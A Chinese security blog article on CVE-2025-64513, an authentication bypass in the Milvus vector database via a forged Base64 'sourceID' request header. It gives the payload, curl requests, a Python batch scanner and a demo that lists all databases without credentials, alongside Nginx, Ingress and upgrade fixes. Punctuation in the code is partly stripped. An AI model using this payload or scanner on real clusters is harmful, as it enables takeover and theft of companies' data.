现在绝大多数AI应用、RAG知识库、智能问答系统的底层存储都依赖Milvus向量数据库。轻量化、高并发、适配海量向量数据的特性让Milvus成为中小厂到大厂的主流选型。但很多运维、开发部署Milvus时只关注业务可用性忽略了原生接口的安全缺陷直接将9091、19530端口暴露在公网。CVE-2025-64513是2025年公开的高危认证绕过漏洞核心危害极其直白攻击者无需任何账号密码、无需API密钥仅携带一条自定义HTTP请求头就能完全接管整个Milvus集群。读集合、删数据、导全量向量库、篡改集群配置所有高危操作都能无权限执行。这篇文章从底层源码逻辑、流量交互原理、真实利用场景、批量检测工具、临时防护、永久修复六个维度完整落地该漏洞的实战攻防体系。所有代码可直接复制运行所有防护方案适配生产环境避开网上碎片化的碎片化解读只讲可落地、可复用的干货内容。一、漏洞基础信息与核心影响面1.1 漏洞核心参数漏洞编号CVE-2025-64513漏洞评级严重CVSS 9.3漏洞本质Milvus Proxy组件鉴权逻辑缺陷信任可控用户请求头实现全权限绕过风险场景公网暴露Milvus Proxy端口、内网未做访问隔离、开启认证但未生效很多人对这个漏洞的认知停留在“加个请求头就能绕过登录”但真正的生产危害远不止于此。Milvus作为AI基础设施核心存储的是企业核心知识库、用户对话向量、业务语义数据、私密文档 embedding一旦被接管等同于企业AI业务数据完全裸奔。1.2 精准影响版本无遗漏该漏洞只针对Milvus Proxy组件的特定鉴权代码逻辑精准命中三个稳定分支的低版本不存在跨版本误报1. 2.4.x 全版本低于 2.4.242. 2.5.x 全版本低于 2.5.213. 2.6.x 全版本低于 2.6.5所有高于等于上述版本的Milvus官方已彻底删除漏洞逻辑天然免疫该漏洞。开发和运维可以直接通过版本号快速筛查资产风险。1.3 真实生产危害拆解普通Web漏洞大多只能读取少量数据、执行弱权限操作而CVE-2025-64513的漏洞权限是集群最高管理员权限无任何权限限制。攻击者利用该漏洞可实现的完整操作1. 遍历集群所有数据库、所有向量集合获取业务数据结构2. 批量导出全量向量数据、原始关联文档数据窃取企业知识库核心资产3. 任意新建数据库、新建恶意集合植入脏数据干扰AI业务4. 删除正式业务集合、清空向量数据直接导致线上RAG系统瘫痪5. 修改集群配置、篡改访问策略留下持久化后门目前全网大量企业的Milvus集群直接暴露9091 Proxy端口无任何IP白名单、无反向代理防护、无流量清洗是黑客批量扫描、批量拖库的重点目标。二、第一性原理拆解漏洞底层源码原理所有漏洞的表层利用都是表象只有吃透源码逻辑才能真正理解防护核心、避免被各类衍生绕过手法击穿防护。该漏洞的核心代码位于Milvus源码的internal/proxy/authentication_interceptor.go鉴权拦截器中。2.1 正常Milvus鉴权流程Milvus Proxy作为集群入口所有客户端请求必须经过拦截器校验。正常逻辑下所有外部请求必须携带合法凭证二选一即可1. 账号密码认证全局登录凭证2. 合法API-Key令牌业务访问凭证无凭证、凭证错误、凭证过期的请求会被Proxy直接拦截返回鉴权失败拒绝访问集群资源。2.2 漏洞缺陷逻辑官方设计失误Milvus官方为了实现集群内部组件通信免鉴权设计了内部信任机制。集群内的Proxy、QueryNode、DataNode、RootCoord等组件互相调用时无需重复校验凭证以此提升集群通信效率。官方的实现方式非常简单粗暴1. 代码中硬编码内部信任标识字符串milvus-member2. 拦截器优先读取客户端传入的sourceID请求头3. 对sourceID的值做Base64解码4. 解码结果如果匹配硬编码字符串直接标记为内部可信请求5. 跳过后续所有账号、API-Key鉴权逻辑直接放行请求这里的致命问题在于sourceID请求头完全由客户端可控无任何服务端校验、无签名校验、无IP绑定。外部攻击者可以随意伪造该请求头欺骗Proxy将外部恶意请求判定为集群内部可信流量。2.3 核心漏洞代码片段原版漏洞代码以下是漏洞版本核心源码逻辑去除冗余业务代码只保留鉴权关键逻辑func(a*AuthenticationInterceptor)authenticate(ctx context.Context)error{// 读取客户端传入的sourceID请求头sourceID:metadata.Get(ctx,sourceID)// 硬编码内部成员标识internalMember:milvus-memberiflen(sourceID)0{// 对sourceID进行base64解码decodeVal,err:base64.StdEncoding.DecodeString(sourceID)iferrnilstring(decodeVal)internalMember{// 匹配成功直接判定为合法内部请求跳过所有鉴权returnnil}}// 执行正常的账号密码/API-Key鉴权逻辑returna.normalAuthCheck(ctx)}整个漏洞的核心就是一行匹配逻辑没有任何附加校验条件。只要Base64解码后的值匹配固定字符串所有鉴权全部失效。2.4 漏洞Payload生成逻辑固定可信字符串milvus-member经过Base64编码后得到唯一利用PayloadQEBtaWx2dXMtbWVtYmVyQEA攻击者只需要在任意Milvus Proxy接口请求中带入sourceID: QEBtaWx2dXMtbWVtYmVyQEA请求头即可完成权限绕过。三、漏洞流量与架构流程图Mermaid3.1 正常业务请求架构图携带合法API-Key/账号密码鉴权校验通过权限放行权限放行响应业务数据响应业务数据响应业务数据外部客户端Milvus ProxyRootCoord 元数据管理QueryNode 数据查询DataNode 数据写入3.2 漏洞利用流量流程图X[攻击者客户端] – 携带sourceID恶意请求头 -- B[Milvus Proxy]B – Base64解码匹配内部标识 -- F[跳过全部鉴权逻辑]F – 直接放行最高权限请求 -- C[RootCoord]F – 直接放行最高权限请求 -- D[QueryNode]F – 直接放行最高权限请求 -- E[DataNode]C D E – 返回全量集群数据 -- X3.3 漏洞拦截与修复后流程图携带sourceID恶意请求头丢弃sourceID请求头/删除漏洞绕过逻辑无合法凭证攻击者客户端前置代理/修复后Proxy执行正常鉴权拦截请求 返回鉴权失败四、本地手动漏洞验证实战手动验证适合单资产快速检测无需依赖脚本一条命令即可判定目标是否存在漏洞适合运维日常自查。4.1 环境说明Milvus Proxy默认对外服务端口9091HTTP接口、19530GRPC接口该漏洞主要作用于9091 HTTP代理接口所有检测请求均针对9091端口。4.2 CURL一键检测命令可直接复制# 漏洞检测请求无需任何凭证仅携带恶意请求头curl-XPOST http://目标IP:9091/v1/versions\-HsourceID: QEBtaWx2dXMtbWVtYmVyQEA\-HContent-Type: application/json4.3 结果判定标准1. 存在漏洞接口返回200状态码正常输出Milvus版本信息、编译时间等数据2. 不存在漏洞/已修复返回401、403鉴权失败提示未授权访问3. 端口未开放请求超时、连接拒绝无资产风险补充细节部分反向代理会自动归一化请求头大小写若sourceID大写I失效可尝试小写sourceid两种格式均可触发漏洞。五、批量检测POC脚本生产可用手动检测效率极低面对批量资产自查、内网资产扫描需要自动化脚本批量检测。以下Python脚本经过实测兼容Windows、Linux、Mac环境支持单目标、多目标批量检测自带超时容错、结果输出。5.1 完整批量检测脚本importrequestsimporttimeimportsys# 关闭请求警告requests.packages.urllib3.disable_warnings()# 漏洞核心payloadEXP_HEADER{sourceID:QEBtaWx2dXMtbWVtYmVyQEA,Content-Type:application/json}defcheck_milvus_vul(target): 单目标漏洞检测 :param target: 目标地址 格式 http://ip:9091 :return: bool 是否存在漏洞 check_urlf{target.strip()}/v1/versionstry:resprequests.post(urlcheck_url,headersEXP_HEADER,timeout10,verifyFalse)# 判定漏洞存在状态码200且返回版本信息ifresp.status_code200andversioninresp.text.lower():print(f[] 【存在漏洞】{target}可无权限接管Milvus集群)print(f 响应数据:{resp.json()}\n)returnTrueelse:print(f[-] 【无漏洞】{target}鉴权正常或版本已修复\n)returnFalseexceptExceptionase:print(f[!] 【请求异常】{target}连接失败或端口未开放:{str(e)}\n)returnFalsedefbatch_check(file_path):批量读取文件内目标检测try:withopen(file_path,r,encodingutf-8)asf:targetsf.readlines()fortargetintargets:iftarget.strip():check_milvus_vul(target)time.sleep(0.3)exceptFileNotFoundError:print(f[!] 未找到文件{file_path})if__name____main__:print( CVE-2025-64513 Milvus认证绕过批量检测工具 )print(1. 单目标检测 2. 批量文件检测)modeinput(请输入检测模式序号: )ifmode1:urlinput(请输入目标地址(例:http://127.0.0.1:9091): )check_milvus_vul(url)elifmode2:file_nameinput(请输入目标列表文件路径: )batch_check(file_name)else:print(输入模式错误程序退出)sys.exit()5.2 脚本使用方法1. 环境依赖安装requests库pip install requests2. 单目标检测直接输入单个Milvus代理地址快速验证3. 批量检测新建txt文件每行写入一个目标地址批量扫描内网/公网资产5.3 高阶利用无权限操作集群数据演示检测出漏洞后可直接调用集群API执行高危操作以下是无权限查询所有数据库的可执行请求可直观验证危害# 查询集群所有数据库curl-XPOST http://目标IP:9091/v1/databases/list\-HsourceID: QEBtaWx2dXMtbWVtYmVyQEA\-HContent-Type: application/json请求成功返回所有业务数据库名称攻击者可继续遍历集合、导出数据完成完整拖库攻击。六、生产环境临时防护方案无需重启服务很多企业生产环境无法立即升级版本业务7*24小时运行不允许停机更新。这种场景下可通过网关层临时拦截漏洞利用流量零停机、无业务影响1分钟即可生效防护。6.1 Nginx防护配置最通用核心原理在反向代理转发请求前强制删除客户端传入的sourceID请求头让恶意Payload无法到达Milvus服务端彻底失效漏洞利用条件。在Milvus代理的server节点中添加如下配置# 强制删除恶意请求头大小写兼容 proxy_set_header sourceID ; proxy_set_header sourceid ;配置执行nginx -s reload热生效无需重启Milvus集群不中断线上业务。6.2 Kubernetes环境防护配置K8s集群部署的Milvus通过Ingress网关拦截请求头新增Ingress配置注解annotations:# 清除指定请求头nginx.ingress.kubernetes.io/configuration-snippet:|proxy_set_header sourceID ; proxy_set_header sourceid ;6.3 云负载均衡防护阿里云、腾讯云、华为云SLB均可配置自定义访问控制规则拦截携带sourceID请求头的所有入站流量实现全局防护。七、永久根治修复方案生产最优解网关拦截只是临时规避手段存在被绕过的风险彻底修复必须从代码层根除漏洞缺陷。官方新版本已完全删除sourceID绕过鉴权的逻辑是唯一安全的根治方案。7.1 对应升级版本清单1. 2.4.x 版本升级至2.4.24及以上2. 2.5.x 版本升级至2.5.21及以上3. 2.6.x 版本升级至2.6.5及以上7.2 版本升级注意事项1. 跨小版本升级兼容无数据丢失风险无需迁移向量数据2. 升级前备份集群元数据与业务集合数据规避升级异常风险3. 升级完成后重新执行本文检测脚本验证漏洞彻底修复7.3 集群安全加固补充规范漏洞修复后必须配套安全规范避免后续出现同类风险1. 禁止Milvus 9091、19530端口直接公网暴露所有访问必须经由内网、白名单IP或业务网关转发2. 生产环境强制开启Milvus认证配置高强度API-Key禁止关闭鉴权功能3. 定期筛查Milvus版本跟进官方安全公告及时修复高危漏洞4. 内网部署资产扫描定期检测是否存在未授权Milvus集群八、漏洞对抗式复盘与避坑总结从对抗视角来看这个漏洞的爆发并非偶然是典型的“开发效率优先、安全校验缺失”导致的高危缺陷。官方为了简化集群内部通信逻辑直接使用固定硬编码字符串客户端可控请求头做信任判定没有任何安全边界隔离。绝大多数企业踩坑的核心原因有两个一是默认部署后直接上线不开启认证依赖端口隐蔽性防护二是过度信任开源组件安全性不做自主安全检测忽视底层代码逻辑缺陷。在AI基础设施普及的当下向量数据库已经成为企业核心数据资产其安全优先级远高于普通业务系统。任何开源组件的内部信任机制、免鉴权逻辑都需要重点排查这类逻辑往往是高危漏洞的重灾区。互动提问1. 你线上部署的Milvus集群是否做过端口隔离和权限加固2. 除了本文的漏洞防护你在向量数据库运维中还遇到过哪些高频安全风险欢迎在评论区交流。更多 AI 安全 / 漏洞复现 / 红队面试实战内容关注公众号「克朗技术实验室」回复关键词领取2026红队面试42题完整版工具渗透工具箱CVE漏洞复现合集